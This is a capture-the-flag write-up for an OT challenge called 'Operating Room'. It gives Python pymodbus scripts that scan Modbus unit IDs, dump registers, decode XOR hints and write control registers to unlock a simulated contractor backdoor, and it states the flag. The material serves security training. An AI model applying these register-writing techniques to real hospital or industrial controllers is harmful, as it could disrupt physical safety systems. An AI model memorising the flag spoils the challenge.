ESPILON-CTF-2026-Writeups/OT/Operating_Room
Eun0us 6a0877384d [+] Writeups v2 — sync solves, real points, scoreboard stats, cleanup
- Remove undeployed challenges: Phantom_Byte, Cr4cK_w1f1, Lain_Br34kC0r3 V1,
  Lain_VS_Knights, Lets_All_Love_UART, AETHER_NET, Last_Train_451, Web3/
- Sync 24 solve/ files from main CTF-Espilon repo
- Update all READMEs with real CTFd final scores at freeze
- Add git-header.png banner
- Rewrite README: scoreboard top 10, edition stats (1410 users, 264 boards,
  1344 solves), correct freeze date March 26 2026
2026-03-27 21:27:45 +01:00
..
solve [+] Writeups v2 — sync solves, real points, scoreboard stats, cleanup 2026-03-27 21:27:45 +01:00
README.md Add 107 terminal screenshots and replace all 📸 placeholders 2026-03-27 00:34:47 +00:00

Operating Room

Field Value
Category OT
Difficulty Medium-Hard
Points 500
Author Eun0us
CTF Espilon 2026

Description

The operating room at Clinique Sainte-Mika runs on an industrial Modbus-based control system managing HVAC, pressure, O2, ventilation, and lighting.

A maintenance backdoor was left in the system by the contractor. Find it. Unlock it.

You will need standard Modbus tools to interact with this challenge.

  • Modbus TCP: tcp/<host>:502

Format: ESPILON{flag}


TL;DR

Scan Modbus unit IDs to find unit 13. Map all holding registers: spot XOR key 0x0D13 at registers 19 and 105, and the state machine at registers 100-110. Decode each hint, write the correct value to register 110 before the timer expires. Execute all 6 state transitions (state 5 requires special value 0x1337). Read the flag from registers 200-215.


Tools

Tool Purpose
Python 3 + pymodbus Modbus TCP client
XOR arithmetic Decode hints from register 101

Solution

tshark Modbus/TCP capture showing anomalous coil write

Step 1 — Discover the correct unit ID

Default unit ID 1 returns Modbus exceptions. Scan IDs 1-20:

from pymodbus.client import ModbusTcpClient

client = ModbusTcpClient("<HOST>")
client.connect()
for uid in range(1, 20):
    r = client.read_holding_registers(0, 1, slave=uid)
    if not r.isError():
        print(f"Unit ID {uid} responds!")
        break

Unit ID 13 responds. (Reference to Room 013.)

Step 2 — Map registers on unit 13

regs = client.read_holding_registers(0, 256, slave=13).registers

Key registers:

Register Value Meaning
0-19 Telemetry HVAC, humidity, pressure, O2, fan RPM, lux...
13 0x4C4E "LN" — Lain easter egg
19 0x0D13 XOR key
100 current state State machine (starts at 0)
101 encoded hint expected_value = reg_101 XOR reg_105
102 countdown timer Must write before timer = 0
105 0x0D13 XOR key copy (breadcrumb)
110 write target Trigger register
200-215 zeros → flag Populated after completion

register dump highlighting XOR key at reg 19 and 105, and state machine at 100-1

Step 3 — Decode the state machine logic

  • Register 100 = current state (06)
  • Register 101 = XOR-encoded expected value
  • Register 105 = XOR key = 0x0D13
  • Decode: expected = reg[101] XOR 0x0D13
  • Write expected to register 110 to advance the state
  • Each transition must complete before register 102 (timer) reaches 0
  • Wrong values or timeouts reset the state machine to 0

Step 4 — Execute all 6 transitions

State Subsystem Decoded Value Formula
0 HVAC 220 reg[0] (temperature)
1 Pressure 15 reg[2] (pressure)
2 O2 50 reg[3] (O2 flow)
3 Ventilation 1200 reg[4] (fan RPM)
4 Lighting 800 reg[5] (lux)
5 Safety 4919 0x1337 (hardcoded hacker constant)
import time

for expected_state in range(6):
    regs = client.read_holding_registers(100, 6, slave=13).registers
    state      = regs[0]
    hint_enc   = regs[1]
    timer      = regs[2]
    xor_key    = regs[5]

    expected = hint_enc ^ xor_key
    print(f"State {state}: write {expected} (timer={timer})")

    client.write_register(110, expected, slave=13)
    time.sleep(0.3)

script executing each transition and state advancing from 0 to 6

Step 5 — Read the flag

After state 6 (complete), read registers 200-215:

regs = client.read_holding_registers(200, 16, slave=13).registers
flag = ""
for val in regs:
    if val == 0:
        break
    flag += chr((val >> 8) & 0xFF) + chr(val & 0xFF)
print(flag)

flag registers decoded to ASCII


Flag

ESPILON{m0dbu5_0p3r4t1ng_r00m}